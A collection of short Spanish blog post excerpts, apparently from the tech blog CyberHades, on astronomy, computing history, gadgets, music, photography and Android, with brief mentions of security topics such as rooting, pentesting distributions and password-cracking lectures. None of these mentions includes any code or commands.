Gliese 581 es una estrella del tipo enana roja que se encuentra a 20 años luz de la Tierra. En términos astronómicos, es aquí al lado.  Esta estrella tiene un 30% la masa de nuestro Sol y tiene su propio sistema solar compuesto por 6 planetas, pero el que nos interesa es el cuarto denominado "g" (Gliese 581g), un poco más grande que la Tierra (de tres a cuatro veces). Al estar situado en la "zona habitable" y además parece ser rocoso, lo convierte en un planeta en el que puede existir agua líquida además de una atmósfera, y por lo tanto, vida. Algunos astrónomos hablan de un porcentaje para albergar vida de un 100% (aunque la comunidad científica piensa que es un poco exagerado).

Otra característica interesante de este planeta es que está “tidally locked", es decir,  que siempre es la misma cara la que apunta a la estrella, la otra siempre está en oscuridad. En la cara que apunta a la estrella las temperaturas serían muy altas, en cambio en la otra cara serían muy frías. Pero existiría una zona límite, justo en la frontera entre ambas caras que estaría en un perpetuo crepúsculo con una enorme estrella siempre ene l horizonte.

Autocad disponible en la ITunes Store

La gente de Autodesk se ha preguntado como poder entrar fácilmente en los equipos apple de los arquitectos y la respuesta es muy sencilla: por la puerta grande, la ITunes. La aplicación está lejos de ser de esas miniaplicaciones adaptadas a PDAs y demás electrónica de bolsillo. Es bastante completa y, además de visualizar los DWG, también permite editarlos con multitouch. Se puede trabajar en modo simultaneo con otros usuarios y guardar en el cloud que facilita Autodesk, el problema de ésta es que solo se puede trabajar desde ella y no desde un archivo externo o enviado por correo, por ejemplo.

Microhistorias: Windows 1.0 vs Mac OS, cuando Bill …

(Rara foto de Jobs y Bill Gates en Palo Alto, vista en Edible Apple)

 Hola amigos, os voy a contar una breve pero interesante historia sobre uno de los primeros enfrentamientos entre esa relación de "ni contigo ni sin tí" que tienen Bill Gates y Steve Jobs.

Antes os pongo un poco en situación. Apple firmó un acuerdo con Microsoft como el primer desarrollador de aplicaciones para el Macintosh, y sabía que tarde o temprano habría algún enfrentamiento por la nueva interface gráfica (uso del ratón y ventanas) que Apple estaba desarrollando llamada Mac OS y que ambas empresas sabían que sería el futuro de la Informática (tenían por contrato prohibido hacer ninguna aplicación basada en este entorno hasta un año después de la salida al mercado del Macintosh). 

Kingston anuncia la nueva CF de 32 GB a 600x

Cuando lanzas ráfagas de 8 ó 10 fps  y varias el foco o la iluminación te puedes quedar sin buffer,  bajando incluso a 1 fps  con la consiguiente pérdida de flujo en los movimientos que grabas (para después tirarse de los pelos). No sabría decir si me gusta más Sandisk o Kingston pero con semejantes datos mi Canon 50d saltaría de alegría con una de estas.

Kingston Technology acaba de presentar la nueva UDMA CompactFlash de 600x (90MB/s) Es obvio que está diseñada para mantener límites profesionales para cámaras reflex que puedan exprimir esa velocidad.

Liberado el código de cifrado/descifrado de HDCP

HDCP en muy resumidas palabras es un algoritmo de  cifrado/descifrado de contenido digital de elevado ancho de banda. Este es el algoritmo usado para proteger el contenido de los discos Blu-ray por ejemplo. A mediados de este mes saltó la noticia de que la clave maestra de este algoritmo se había filtrado y hoy leo a través de Slashdot que se ha liberado el código fuente de dicho algoritmo.

Según comentan los autores del mismo, este algoritmo es eficiente cuando es implementado en hardware. La implementación software del mismo es muy lenta por el intenso uso de operaciones de bit.

La Huelga por Forges

Link

20 buscadores de libros electrónicos

Hoy en día con el boom de los lectores de libros electrónicos, cada son más las editoriales que publican además de la copia en papel, la versión electrónica de sus libros. Además, normalmente cuando se trata de un libro que se distribuye de forma gratuita, evidentemente la mejor opción es también la copia electrónica. Así que aquí os dejo una lista con 20 buscadores de libros electrónicos:

1.- Mega PDF 2.- Doc Jax 3.- PDF Database 4.- PDFind 5.- PDF Geni 6.- Type PDF 7.- PDF SE 8.- E-Book Search Engine 9.- E-Book EE 10.- Flazx 11.- Ebook engine 12.- Just Free Books 13.- PDF Queen 14.- Free ebooks 15.- PDF Mags 16.- Ebookio 17.- Ebookw 18.- Neotake 19.- Papyrerefb2 20.- 4shared

Reparando una partición NTFS desde Ubuntu

Tienes muchas formas distintas de reparar una partición NTFS corrupta, pero quizás una de las más cómodas y fáciles sea el uso de un Live CD y para ello nada como una buena distribución de Linux. Aunque esta entrada está basada en Ubuntu, es la distribución que uso y la más usada/conocida en el escritorio, los pasos a continuación descritos también los puedes seguir con cualquier otra distribución, lo único que necesitas son las herramientas mencionadas.

También decir que si tienes el disco duro particionado con dual boot (doble arranque), puedes usar el mismo en vez de la Live CD.

BlogCamp: Novedades de Hotmail Wave 4

En la BlogCamp, Chema Alonso nos mostró en una charla las nuevas características del nuevo Hotmail Wave 4 aún en versión Beta, y la verdad es que nos ha causado una buena impresión.

Estas son algunas:

• Filtros: básicamente reglas para gestionar todo nuestro correo y el buzón.
• Buscador avanzado: se mejora la búsqueda interna de nuestro mensajes, cosa que hasta ahora parece que tanto Gmail como Hotmail no gestionaban todo lo bien que esperábamos.
• SkyDrive: total integración con el disco virtual donde podremos hacer copias de seguridad, Office online, mapas, imágenes, etc.
• Office Web Apps: podrás trabajar con documentos Office directamente vía web.
• Actualización de documentos: si has enviado un correo con, por ejemplo, un Word almacenado en SkyDrive, si lo modificas todo el workflow se actualiza, incluso con la opción de volver a enviar los correos que enviaste con este mismo documento pero ahora modificado.
• Integración con redes sociales: desde chat, invitaciones, actualizaciones etc.
• Filtro SPAM: mejorado, avisando siempre que un correo no viene de una dirección segura. También puedes gestionar todas las acciones relacionadas con la detección de estos correos.
• Opción descargar todo: en vez de marcar uno a uno los ficheros adjuntos, una opción para descargarlo todo en un ZIP.
• Aumento del tamaño de los adjuntos: hasta 10GB, no sé quien necesita enviar un correo de tanto tamaño pero bueno, tienes la opción.
• Previsualización al subir fotos: esta opción es interesante, ya que hasta ahora, en los gestores de correo como Gmail sólo podías visualizar la imágen que descargas como adjunto, no la que subes. De esta forma evitas errores que pueden ser un poco embarazosos.
• Mejoras en la limpieza del buzón: se añaden filtros mejorados para poder borrar correos usando varios patrones, como actualizaciones de redes sociales, de un sólo origen, etc.
• Definir equipos "thrusted": dentro de la configuración, podrás definir uno de tus ordenadores como equipo "verificado". De esta forma si sufres algún ataque a tu cuenta y la pierdes, siempre la podrás recuperar usando este ordenador que marcaste como seguro.
• Multiple sesiones: si se accede a tu cuenta desde varios sitios a la vez, Hotmail te avisará como medida de seguridad.
• HTTPS

Estas son sólo algunas, echa un vistazo a este video para verlo en acción:

Dalvik VM: Optimización

Una de las tareas críticas de Dalvik es la optimización del código (byte code) para maximizar los recursos del sistema. Recordemos que Dalvik es una máquina virtual para correr sobre sistemas ligeros y con recursos escasos.

Esta fase es realmente crítica, especialmente cuando el byte code de Dalvik es generado a partir del de Java, lenguaje con fama de lento y pesado.

Este proceso de optimización se lleva a cabo justo antes de que la aplicación es ejecutada por primera vez.

PS-HTTPD

PS-HTTPD es un servidor web muy simple escrito en... sí: PS, Postscript!

Aquí copio el código fuente para los curiosos…

Asegúr@IT: II Blog Camp con Informatica64 y …

Charla de Alejandro Martín sobre HTML5

Durante los días 24, 25 y 26 hemos estado invitados en Madrid a un evento bastante peculiar: campo, seguridad informática, cabañas y buenos bloggers... se puede pedir más?  Lejos de ser aburrido y de escuchar charlas eternas con la corbata apretando, la experiencia ha sido una de las mejores que hemos tenido en este tipo de actos. El secreto del éxito ha sido un cocktel de alta participación, juegos, cuatro XBOX de regalo y las presentaciones de maligno (elladodelmal.com).

Dos maneras de fabricar un lápiz puntero para …

Bueno, no le veo demasiada utilidad y casi parece una entrada de broma, pero es curioso y puede ser útil para por ejemplo, dibujar en el iPad.

Primero, método “caro”:

• un lápiz,
• un calcetín, media, alfombrilla o cualquier material de tela que sea antiestático.

Todos los pasos en la web de Instructables.

Segundo, método “barato”:

• un lápiz
• papel de envoltura de un caramelo (esos de envoltorio plateado de los chicles podría servir)

Todos los pasos en LifeHacker.

Primer domingo de otoño: to wish impossible things

Madrid, 8 de la mañana. Amanece despejado y el frío se hace notar. Hoy es el típico día en el que, casi por arte de magia, te das cuenta de que el otoño comienza y apetece quedarse un poquito más en la cama, cubierto con las mantas.

Os dejo una preciosa canción de The Cure, con la que podéis cerrar los ojos y volver a soñar, al menos por un instante.

Photoshop Vs Speedotron

En este video tenemos a uno de los grandes, Jay P.Morgan (su sentido del humor también lo es), trabajando con un Speedotron Explorer 1500. Aunque se deja bastante de lado la explicación del sistema de flashes y aparece mucho más la chica tampoco voy a ser muy duro en domingo :-)

Link fstoppers

Disfrutando en el Primer Blog Camp

El melenas de Chema en una clase magistral sobre phishing

Estamos en el primer encuentro de blogueros en Madrid, en el El Escorial, invitados por chema (maligno) de informatica64. Mucho SEO, mucho phishing y mucho HTML5. Mañana vamos a hacer un resumen de nuestra increible experiencia aquí porque ahora nos vamos a ir a cenar y, sobre todo, a beber ;-)

15 empresas creadas por ex-empleados de Microsoft

Desde que se fundó Microsoft en 1975, el número de empleados a crecido hasta 88.593. Todos sabemos que Microsoft intenta siempre reclutar a los mejores, por lo tanto es lógico que algunos de los ex-empleados sean fundadores de algunas empresas de éxito.

En este artículo de Mashable podrás ver 15 de estas compañías creadas por aquellos empleados que un día dejaron Microsoft.

La primera, Cupidtino, es una empresa de contactos para fans de Apple (fundado por un ex-programador de Microsoft llamado Mel Sampat) … ironías del destino.

Cómo vería nuestro Sistema Solar una civilización …

Lo que más llama la atención, es que esta supuesta civilización extraterrestre pensaría que nuestro Sistema Solar es más joven de lo que realmente es, debido al Cinturón de Kuiper. Dicho de un modo muy coloquial, verían una enorme nube de polvo con algunos anillos interiores rodeando a una estrella, por lo que parecerían planetas en formación.

Por otro lado, usando las mismas técnicas que nosotros, el primer planeta que sería detectable es Neptuno, ya que debido a su gravedad y posición, crearía una franja distinguible dentro del cinturón de polvo que antes hemos comentado.

La traducción de César Alierta, Presidente …

Video-traducción (bocadillos) de lo que comenta para que todos lo podamos entender

¿Se puede estar más lejos de la realidad? y me refiero a la realidad social porque su realidad esta bien clara... € € € € €

Ojo, cybercaronte, cuando dice lo de “que le enfocas a las estrellas y te dice que estrella es” :-)

Atención también a “el Claud Compiutin significa que la inteligencia esta en la red y la red es nuestra”

Nuevo postulado: "La gravedad es una ilusión"

Según el doctor en física teórica de cuerdas Eric Verlinde, de 48 años y holandés de nacimiento "la gravedad no existe". Cualquiera pensaría que este hombre se ha pasado demasiado tiempo en el laboratorio y ha terminado medio loco pero su teoría no esta exenta de lógica, de hecho, tiene demasiada lógica. Es muy simple, la ciencia ha estado viendo y estudiando la gravedad de forma erronea. Según Verlinde la gravedad es solo una pequeña parte de una fuerza, universal y entrópica, mucho mayor. Esa fuerza es tan grande que afecta y esta afectada por todos y cada uno de los objetos que existen en el universo. Es la teoría del comportamiento colectivo universal: desde un megaplaneta a un átomo, todo está unido.

Crea tu propia distribución de Linux desde cero

Linux From Scratch (LFS) es un proyecto (un libro) que nos ayudará a dar los pasos necesarios para crear nuestra propia distribución de Linux.

Yo aparte de la parte educativa, no le veo mucha gracia la verdad, a menos que seas una empresa con unos requisitos muy peculiares y necesites algo muy personalizado.

En fin aquí queda la noticia para el que le interese.

Te puedes descargar el libro desde aquí. Visto en unixmen.com

IBGStar: Medidor de glucosa conectable al IPhone

Sanofi-Aventis, en colaboración con AGaMatrix, ha desarrollado un dispositivo para medir los niveles de glucosa y que, conectado al IPhone, permite gestionar toda la información necesaria en la vida diaria de una persona con diabetes: niveles de glucosa, cantidad de insulina, comida ingerida, ejercicio realizado,...

El aparato que mide 56x24 mm, se acopla al IPhone (como puede verse en la imagen), consta, además, con la posibilidad de añadir alertas que avisan al paciente de posibles hipoglucemias o hiperglucemias.

Microhistorias: La habitación Gates 360 y los …

Vaya ironía del destino, ya veréis. En 1996, Larry Page y Sergey Brin estaban estudiando en la Universidad de Standford cuando todos tuvieron que mudarse a unas nuevas instalaciones en un edificio llamado "WILLIAN GATES COMPUTER SCIENCE". ¿Te suena el nombre?, exacto es Bill Gates, co-fundador de Microsoft. Bill donó 6 millones de dólares para la construcción de este edificio, cantidad suficiente como para ponerle su nombre ¿verdad?.

Por aquella época, Larry y Sergey eran conocidos por el campus de la universidad como “LarryandSergey”, ya que pasaban mucho tiempo juntos pensando en sus proyectos pero sobre todo en  cómo “descargar la web” para obtener una buena base de datos para comenzar a estudiar una forma de ordenarla y clasificarla.

Catálogo de grandes cráteres lunares

Científicos de la NASA, empleando la nave espacial LRO (Lunar Reconnaissance Orbiter) equipada con un altímetro láser (denominado LOLA) han creado un catálogo de grandes cráteres existentes en la superficie lunar. Esto, además, les ha permitido realizar un mapa topográfico lunar. En la animación que se muestra se iluminan los cráteres mayores de 20 km de diámetro.

Enlace al vídeo.

"Rootea" tu Android a golpe de ratón

Universal Androot es una aplicación para Android que te permite hacer root en tu terminal, es decir, que puedes tomar control total de tu teléfono.

Normalmente cuando una compra un terminal y esta ligado a un contrato, dicho teléfono tiene ciertas restricciones, como la de acceder al sistema como root o administrador.

Con esta aplicación el proceso de root es muy sencillo. Tan sencillo como instalar dicha aplicación y ejecutar la acción de root.

Librerías gratis con música y sonido de alta …

Ej.: wind.wav (44100Hz, 1411kbps, 16 bit, Stereo, 9'75 MB)

Freesound

Para webs, edición, diseño de sonido, desarrollo de software, post-producción, mezclas, ingeniería de audio... Si eres de los que tiene algún tipo de pequeño proyecto audiovisual o multimedia entre las manos esta es tu página. Miles de librerías ordenadas por temas para que las descargues con solo un click, si antes te registras claro. Con un Play&Stop en la propia página para que las escuches las veces que quieras y descargues solo lo que necesites. Un abanico muy amplio de sonidos de alta calidad.

Emulador de Game Boy escrito en Javascript: …

En una nueva entrega, la sexta, el autor nos conduce a través de la entrada de datos en el emulador. Obviamente parte esencial para cualquier software que necesite interactuar con el usuario.

La CPU La Memoria La GPU Gráficos Integración

Imágenes del búnker nuclear donde se encuentran …

La empresa Bahnhof ha hecho públicas algunas imágenes virtuales en 360º donde puede verse el búnker donde se encuentran los servidores de Wikileaks.

Curioso.

Aquí va el link: http://www.fotograf.nu/360/bahnhof/

Si el mundo fuera un Pictionary

Buenísima campaña de Pictionary realizada por la compañía Ogilvy & Mather. El creador es el director de arte colombiano Juan José Posada.

Original, creativo y divertido.

Link whitezine

Zelda Ocarina of time completado en menos de 80 …

Espectacular video donde puedes ver a un jugador de Legend of Zelda: Ocarina of Time para Nintendo64, completarlo en menos de 80 minutos.

La pregunta: ¿es real?,a veces parece que es un “montaje” usando algún tipo de emulador ya que algunas maniobras son un poco sospechosas a la vez que espectaculares.

Juzga por ti mismo, yo personalmente creo que es real.

Visto en GameWithABrain.

Último domingo del verano, Digitalism "Idealistic"

Digitalism.

Para animar este “nublado” y un poco triste último domingo del verano.

Proyectos de Robótica y Electrónica con …

En la web de Pyroelectro.com puedes descargarte (sólo tienes que poner un nombre y un correo electrónico válido en un banner a la derecha de la web que dice "Free Robotics Guide") una guía en PDF de introducción a la electrónica con robots. Sólo tiene 47 páginas pero es muy detallado y además incluye enlaces a diferentes proyectos de los autores.

Uno de los proyectos más interesantes (visto en HackADay) es este sobre un robot que sigue líneas pero sin usar microcontroladores:

Futura ley reguladora del juego On-line

Desde que internet es internet ha existido un vacio legal sobre este tema: sin protección al consumidor, sin impuestos como en otras loterias, sin organismos reguladores... en fin, un desastre. Estos negocios mueven unos 200 millones de euros al año.

El Consejo de Ministros ha aprobado el anteproyecto de la Ley del Juego, han informado tras la reunión del gabinete las vicepresidentas primera y segunda del Ejecutivo. Se pretende reforzar la protección de los consumidores y prevenir delitos como la estafa o el blanqueo de capitales, prevé además la creación de un nuevo impuesto, que será diferente para cada tipo de juego y recaerá sobre los operadores, y que una gran parte del porcentaje de esa recaudación será para las comunidades autónomas.

Star Trek requires Flash Player 258.1

Link abstrusegoose

Libro gratuito en PDF "TCP/IP Tutorial and …

Echando un vistazo al repositorio de documentación de IBM llamado Redbooks, donde puedes encontrar muy buena documentación técnica sobre los productos de esta gran compañía (lugar que debes de conocer si trabajas con tecnología IBM), he encontrado este libro muy interesante sobre el protocolo de comunicaciones TCP/IP llamado "TCP/IP Tutorial and Technical Overview" con casi 1000 páginas. Es del año 2006 pero sirve perfectamente para profundizar y aprender más sobre el pilar básico de las comunicaciones y el transporte de datos en Internet.

Echa un vistazo al índice:

Tutorial C# Development (nuevo curso de …

Después del genial curso sobre programación Android, desde HackADay nos ofrecen ahora este nuevo tutorial sobre programación en el lenguaje C# usando Visual Studio Express. Una buena ocasión para aprender a desarrollar aplicaciones usando este lenguaje de programación orientado a objetos y además adentrarnos en la plataforma .NET de Microsoft.

Desde CyberHades seguiremos atentamente cada nuevo capítulo:

C# Development 101 - Introducción

Explorando de cerca las cuevas de la Luna

La sonda Lunar Reconnaissance Orbiter ha echado un vistazo de cerca a estas espectaculares cuevas en la Luna que parecen estar formadas por acción de la lava. Estas cavernas serían muy útiles para resguardar al ser humano de la radiación y servir de escudo natural para las futuras bases lunares. Por otro lado,no podemos olvidar el gran valor para el estudio geológico de la Luna.

Las fotos de las cuevas que podrás ver en el artículo original, tienen una profundidad “estimada” (lo que podemos ver gracias a la sombra) de 70 metros y la entrada de la cueva tienen algunas más de 100 metros.

Ya puedes votarnos para los premios Bitacoras 2010 …

Nunca nos hemos planteado participar en estos eventos ya que somos un blog muy humilde y no tenemos nada que hacer ante grandes profesionales que llevan años en esto. Pero bueno, vamos a ver hasta donde podemos llegar con vuestra ayuda ;).

Cómo tocamos muchos temas, no tengo muy claro en qué apartado incluirnos, eso lo dejo a vuestra elección.

Puedes votarnos usando el botón que hemos añadido a la barra de la derecha, este año incluso puedes usar tu cuenta de twitter o Facebook.

Comienzan los baneos en StarCraft II

Esta vez si que han empezado rápido. Blizzard siempre se ha tomado muy en serio estos temas para la proteger al buen usuario y advierten que los tramposos seran baneados indefinidamente en caso de utilizar una "versión modificada de cliente".

Comunicado oficial:

"Blizzard Entertainment siempre se ha tomado las trampas en los juegos de Blizzard muy seriamente, y StarCraft II no es diferente. Si se encuentra a un jugador de SCII usando trucos, hacks o modificaciones de algún tipo, supondrá el final de nuestro acuerdo de uso, lo que llevará a que el jugador sea baneado permanentemente del juego. Esto significa que no podrá conectarse a Battle.net con su cuenta. (...) Jugar a SCII legitimamente significa jugar sin alterar el cliente del juego. Hacerlo viola las políticas de Battle.net y va en contra del espíritu de juego limpio en el que se basa nuestros juegos. Recomendamos encarecidamente que evites usar hacks, trucos, o exploits. Las suspensiones de cuenta y baneos de los jugadores que hayan usado trucos -o usen- trucos comentarán en un futuro próximo."

Mentiras sobre la fotografía HDR

Los fotógrafos, al igual que los cocineros, tendemos a esconder nuestros secretos. Una foto es única y su técnica también lo es pero cuando dicha técnica te ha costado miles de fotos-basura y unas cuantas decenas de horas para aprenderla y perfeccionarla la tratas como si la hubieras inventado tú. Mi tesoooooooro (voz de golum) :-) Semejante estupidez ocurre por la absurda manía de compararse unos con otros. En los foros unos mienten y otros ocultan parte de verdad. El resultado es desastroso.

Luna, Venus y puesta de Sol en Formentera

 

No tengo ni idea de hacer fotos, pero en la isla de Formentera es fácil hacer una (haz click para verla en Flickr) como esta donde puedes ver a la vez, la puesta de Sol, a la Luna y Venus.

PD: realizada el sábado 11 de Septiembre, con la cámara en una mano y un mojito en la otra ;)

Mantenimiento de un antena de comunicaciones de …

¡¡ OJO !! EL ASCENSO ES LIBRE, NI CABLES DE SEGURIDAD NI REDES.

El que tenga vértigo que no lo vea. No sé cuanto pueden cobrar las personas que se dedican a esto pero se lo ganan céntimo a céntimo. Hay que verlo hasta el final para saber que hay arriba.

Link fogonazos

Los videojuegos de acción mejoran las capacidades …

Eso es lo que revela un estudio realizado en la Universidad de Rochester, Nueva York: los videojuegos de ritmo vertiginoso mejoran las capacidades cerebrales.

- "La evidencia muestra que estos jugadores son mejores al tomar decisiones más rápidas y precisas que quienes usan otros juegos de video", señala el estudio publicado en Current Biology. "Los usuarios de videojuegos de acción tomaron más decisiones correctas por cada unidad de tiempo"

Crackeando passwords como un Pro!

Repositorio de información técnica sobre x86 y …

Tecnología también conocida como IA-32 (x86 - 32bits) y AA-64 (x86 - 64bits). La web está llena de documentos técnicos sobre dichas arquitecturas. No sólo incluye información técnica sobre microprocesadores Intel o AMD, sino también sobre Cytrix, Centaur, Transeta, etc. También puedes encontrar gran cantidad de documentos técnicos sobre plataformas como IBM, NEC, etc.

Listado de BBS activas

Llámame antiguo o vieja escuela, pero es un gustazo usar las interfaces en modo texto de estas BBS. Funcionan perfectamente, sencillas y rápidas.

Si echáis de menos la sensación esa de curiosear por una BBS, aquí tenéis un listado bastante amplia de muchas BBS que todavía siguen activas.

Reportaje Corea del Norte, País Secreto (Orwell se …

 

Impresionante reportaje de RTVE de Junio del 2000 sobre la forma de vida en Corea del Norte. Aunque han pasado diez años y han habido cambios muy ligeros, podemos hacernos una idea de lo que es vivir en este régimen liderado por "El Gran Líder".

Como he dicho en la entrada de este post, Orwell se quedó corto en su novela “1984”.

Artículo y video completo aquí.

Exposición sobre Mario Bros en el Matadero de …

El Jueves 10 de Septiembre fue inagurada una exposición sobre Super Mario con motivo del 25º aniversario de su creación por el genial dibujante Shigueru Miyamoto.

Lugar: Central del Diseño (Matadero de Madrid).

Fechas: Del 09 de Septiembre al 03 del Octubre.

Yo intentaré pasarme por allí para verla.

Concurso de programación demos de 1kB en …

Analizando el código fuente de estas maravillas es como realmente se aprende a programar de verdad. No os perdáis las demos de este concurso de sólo un 1kB programados en JavaScript, sin usar librerías externas.

Web oficial de concurso aquí.

He visto este post en Barrapunto y recomiendan un juego de ajedrez y otro de plataformas.

Algunos más que me han gustado:

Generador de Laberintos.

Juego de naves espaciales.

Jardín con viento.

Creador de laberintos y resolución.

Fondo de escritorio con ayuda de comandos de Linux

¡Feliz Aniversario Super Mario Bros!

Visto en GeeksAreSexy.

The Funeral - Band of Horses

Hoy soy yo el que incluye un video de música en esta mañana de lunes. Se trata de la canción The Funeral del grupo Band of Horses, los cuales aunque tienen ya varios discos en su haber, son de reciente descubrimiento por mi parte. Me encanta como suena esta canción: triste pero con fuerza. Enlace de MySpace: Band of Horses

Buen lunes a tod@s.

Umbra y un poco de filosofía

Probablemente algún lama tibetano tenga la verdadera explicación de algo así, supongo basada en el Ying Yang. Yo tengo la mía y cada uno debe tener la suya.

Genial corto de animación de Malcolm Sutherland.

Visto en neatorama

Proteje tu espacio - Mantente tú y tu cosas …

O algo parecido sería la traducción del libro que Microsoft ha publicado bajo licencia Creative Common. El título original del libro es"Own your space - Keep yourself and your stuff safe online" y lo puedes descargar desde aquí. Lo puedes descargar completo o por capítulos.

Trata sobre seguridad en la red, pero con la particularidad que está orientado a adolescentes. Por lo tanto le han dado un punto para no aburrirlos  y mantenerlos entusiasmados. El libro tiene un total de 253 páginas.

Belle & Sebastian "Sleep the clock around", …

Y ahora en directo:

Belle & Sebastian.

Cuando pensé en esta sección de música, esta era la canción que realmente me motivó a hacerlo, pero por alguna extraña razón hasta hoy no la he puesto en el blog. Creo que es perfecta para esta sección. Casi es mejor para el domingo por la tarde, después de la siesta, tomando un buen café, junto a buenos amigos y por supuesto, navegando por CyberHades ;)

Convierte tu teléfono Android en una plataforma de …

Ribadeo es una distribución linux basada en gentoo, preparada para correr sobre la plataforma Android. Dicha distribución está orientada al pentesting o auditorías de seguridad.

Ribadeo tiene joyas como Metasploit, nmap o w3af, además de muchas otras herramientas de este tipo e intérpretes como Ruby, python o perl.

Todo lo que necesitas es tener tu terminal rooted, es decir, debes tener control total sobre el sistema y ser capaz de ejecutar aplicaciones como root. Además de ésto, también necesitas una aplicación de terminal (ConnectBot) y Scripting Layer for Android.

Ahorrando aún más tiempo en las búsquedas con …

Básicamente usa:

1. Tab para autocompletar

2. Flecha arriba y abajo para navegar por las sugerencias

3. Flecha derecha para “Voy a tener suerte”

Visto en LifeHacker.

El Form 3... errrr, no es un ratón

Ni óptico, ni laser, ni dpi, ni inalámbrico... pero tiene botones. Si no has adivinado para que sirve yo no te lo voy a explicar aquí, pero la wikipedia puede que sí. :-)

Última tecnología en materiales y diseño. Recargable y resistente al agua.

Página oficial jimmyjane

Link dezeen

La piscina más grande del mundo, San Alfonso del …

 

Esta piscina está en Algarrobo (Chile) y tiene más de un kilómetro de largo, ocho hectáreas y 250 millones de litros de agua (aquí tienes más datos sobre la misma). También obstenta el récord Guiness como la piscina de agua cristalina más grande del mundo.

Fíjate en lo espectacular que se ve desde Google Maps:

Ver mapa más grande

Echa un vistazo a la web oficial (si algún lector de CyberHades ha estado en este complejo, nos gustaría saber su opinión).

Ultrarrealismo virtual con 3D Max y V-Ray

Esta es una "one-scene", una simple clase de laboratorio, creada en Max sobre la que se ha hecho un traveling de cámara para que se puedan observar todos los detalles de esta. Hace bastante que V-Ray se desmarcó del pelotón de los motores de render y esto lo demuestra. Dicen que utilizaron Lens Flare (pero eso ya salta a la vista) y no hay mucha más información sobre los valores de spots, efectos o render... y que yo mataría por saber. :-)

Primer televisor Androide

Ahora mismo sólo está a la venta en Suiza y se llama Scandinavia. La empresa que lo fabrica, People of Lava, lo presentó en Berlín esta misma semana con el eslogan "Window to the world" (Ventana al mundo).

El televisor viene con varias aplicaciones cargadas como: Google Maps, Youtube, Twitter, Facebook, navegador, etc. Dicha empresa también tiene intención de poner a disposición de sus clientes un repositorio de aplicaciones (People of Lava App Store). El televisor también incluye  un teclado y un ratón/puntero inalámbricos.

8 increibles proyectos realizados con LEGO

 

Impresionante, ya habíamos visto algunos espectaculares, pero estos se llevan la palma.

Desde una Máquina Analítica de Charles Babbage, pasando por un telescopio y un aire acondicionado totalmente operativo, son sólo 3 de estos 8 espectaculares proyectos.

No te los pierdas en la web de PopularMechanics.

Flight Simulator y Portal jugados sobre Microsoft …

Obviamente el software y el hardware son incompatibles pero unos estudiantes de la universidad de Massachusetts, del laboratorio de robótica, han adaptado esta nueva tableta táctil a estos dos juegos. Lo han denominado DREAM (Dynamically Resizing Ergonomic and Multi-touch) y, a simple vista, parece bastante natural aunque queda patente que no es tan práctico como el conjunto teclado-ratón.

Vía joystiq

Rompiendo contraseñas

En la web de Irongeek han publicado una serie de vídeos, 3 concretamente, así como sus correspondientes diapositivas (PPTX) sobre sobre como romper contraseñas.

Estos vídeos son de unas clases que impartieron para recolectar dinero para la fundación Matthew Shoemaker Memorial. Los que impartieron dicha clase fueron: Dakykilla, Purehate_ y Irongeek.

La clase la han dividido en 3 partes. La primera parte trata las claves locales. Como sacar claves de muchas de las aplicaciones que muchos usamos en el día a día.

Meter la manita en Nitrógeno líquido

El nitrógeno líquido es un gas licuado que se encuentra a una temperatura de 77 K (-196 ºC). Una vez que se pone en contacto con la atmósfera a temperatura empezará a evaporarse.

En el siguiente video se puede ver lo que sucede cuando se mete la mano en nitrógeno líquido.

Bajo ningún concepto hagáis esto en casa (si disponéis de nitrógeno líquido, claro :))

La historia de Internet en 8 minutos, ahora con …

 

Ya hablamos en CyberHades sobre este instructivo video sobre la historia de La Red de Redes. Ahora en la web de IguanaLinux lo he visto con subtítulos en castellano.

Jugando con la Phantom Cinemag II HD GOLD High …

Aunque terriblemente feo, en el nombre de esta "cámara*" se dice todo lo que ella ofrece, es más, casi no necesitaría hacer ni el post... Por suerte dentro de su nombre no aparecen los datos más interesantes:

2351 FPS a 480p

1500 FPS a 720p

1050 FPS a 1080p

554 FPS a 2k

Tom Guilmette, director de fotografía, cinematógrafo y editor de video,  explica y juega con parte de las opciones de display que tiene la cinemag. Es algo insuficiente pero se puede entrever la facilidad de uso de esta. El precio aproximado de alquiler del sistema es de 2.500 € al día y para el que se pregunte el precio, que también es aproximado ya que  depende de las variaciones de instrumentación que se elijan, va desde los 250.000 € hasta el millón.

Quake2Android

Quake2Android es un proyecto de código abierto, cuya finalidad es la de portar el motor gráfico de Quake2 a Android.

Aquí tenéis la web del proyecto. Y a continuación os dejo un vídeo de una demo del juego corriendo en un HTC Hero.

La versión actual (1.8.1) ha sido probado en los siguientes dispositivos:

Emulador : muy lento, < 5 fps HTC G1 con CyanogenMod (Android 1.5) : OK HTC G2 : OK Samsung Galaxy : OK, 10-15 fps Samsung Galaxy Spica (i5700). 8-12fps Motorola Dext / Cliq. 10 fps. Motorola Droid / Milestone (Android 2.0.1) : OK, 35-40 fps T-Mobile Pulse ( Android 1.5, Huawei HU8220 ) : OK HTC Tatoo : OK, 5 fps Google Nexus One : NOK HTC Desire (Android 2.1): NOK, 15 fps sin menu HTC Legend : 6-7 fps HTC Hero : probado con Android 1.5 (MoDaCo ROM). Probado también con 2.2 (FroyoVillain 1.4.2 ROM) prácticamente mismo rendimiento, pero el tiempo de carga es mucho más rápida con 2.2. Entre 8 y 22 fps, typically 13/14 fps.

Emulador de Game Boy escrito en Javascript: …

Esta es la quinta entrega de este tutorial. En esta parte el autor nos cuenta como usar los registros para mapear los graficos y poder comunicarnos con la GPU.

Aquí tenéis las entradas anteriores.

La CPU La Memoria La GPU Gráficos

Obturación lenta + luciernagas = Bosque encantado

¿Por que no se me habrá ocurrido a mí? Es lo primero que se me vino a la cabeza cuando vi las fotos.

El fotógrafo amateur que las hizo se llama Kristian Cvecek, de 31 años, que vive en Erlangan, Alemania. "En esta región abundan las luciérnagas y acercándose la Noche de San Juan (23-24 Junio) comienzan a volar." cuenta Kristian para Dailymail

Mafia II prohibido en los Emiratos Árabes

"Sangre. Violencia Intensa. Desnudez. Contenido Sexual. Lenguaje Soez. Uso de Drogas y Alcohol" estas son algunas de las razones que ha utilizado el ESRB (Entertainment Software Rating Board)  para colocarle un (+18) y contenido adulto a este juego.

Estas medidas, en los Emiratos Árabes Unidos, se rigen por el National Media Council y las razones específicas para que las tiendas no lo puedan vender no han sido detalladas en la orden de prohibición. Bajo este influjo estan juegos como God of War 3, Dragon Age 2, Mass Effect 2, Darksiders y Heavy Rain.

Algunas soluciones a retos hacking

 (imágen: www.hackingisnotacrime.com)

Realizar un reto hacking requiere un alto nivel en muchos campos de la seguridad informática así como en  programación, criptografía, análisis forense, redes, uso de herramientas como nmap ó metasploit, etc...

